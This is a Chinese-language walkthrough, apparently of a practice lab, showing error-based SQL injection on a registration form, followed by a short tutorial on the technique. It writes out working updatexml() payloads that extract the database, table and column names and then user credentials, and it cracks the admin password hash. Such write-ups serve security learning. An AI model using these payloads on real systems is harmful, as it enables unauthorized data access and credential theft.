1.根据提示,先注册一个账号

2.打开burpsuite拦截,发现是post型,send to repeater 尝试构造闭合

-尝试用单引号构造闭合:

send后的结果如图:

-根据上次构造的结果,再次构造Eira','1','2','3','4','5') #

send后结果如图,注册成功了

3.这里需要用到报错注入

-当前数据库名Eira' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

得到结果:

-查表名:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or'

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or'

得到结果:

-查列名:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or'

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or'

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or'

-查用户名和密码:

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,',',password)) from users),1,31),0x7e),1) or'

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,',',password)) from users),32,31),0x7e),1) or'

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,',',password)) from users),63,31),0x7e),1) or'

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,',',password)) from users),63,31),0x7e),1) or'

4.以用户admin的密码为例,破解e10adc3949ba59abbe56e057f20f883e

依旧用kali的hash-indentifier工具和MD5在线破解工具

结果如图:

以下是关于报错注入的一些基本知识:

一、报错注入原理
 
利用数据库执行操作时的错误信息,将SQL语句的执行结果 "带出"。当SQL语句存在语法错误或逻辑错误时,数据库会返回包含错误细节的信息,攻击者通过构造特定语句,将查询结果嵌入到错误信息中,从而获取数据。
 
二、构造思路
 
1. 常用函数
-  updatexml() :XML格式验证错误,返回自定义错误信息(如 updatexml(1,concat(0x7e,查询结果),1) )。
-  extractvalue() :XPath语法错误,同理(如 extractvalue(1,concat(0x7e,查询结果)) )
-  floor()/rand() :利用分组时的重复计算触发错误(如 select count(*),concat((查询结果),floor(rand()*2))x from information_schema.tables group by x )。
2. 核心步骤
- 判断是否存在报错点:在参数后添加特殊符号(如 ' ),观察是否返回数据库错误。
- 构造带函数的SQL语句:将查询结果(如表名、列名、数据)通过函数拼接进错误信息。
- 逐层获取数据:通过 substr() 、 ascii() 等函数逐字符提取数据(如 substr((查询语句),1,1) )
 
示例语句(以 updatexml 为例):
 ' and updatexml(1,concat(0x7e,(select database())),1) and '1'='1 
执行后错误信息会显示当前数据库名。
 
三、注意事项
 
- 需数据库开启错误回显(生产环境可能关闭)。
- 部分函数可能被过滤,需尝试替代函数(如 name_const() )
- 需结合实际业务逻辑调整闭合符号(如 " ,  ) 等)。

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐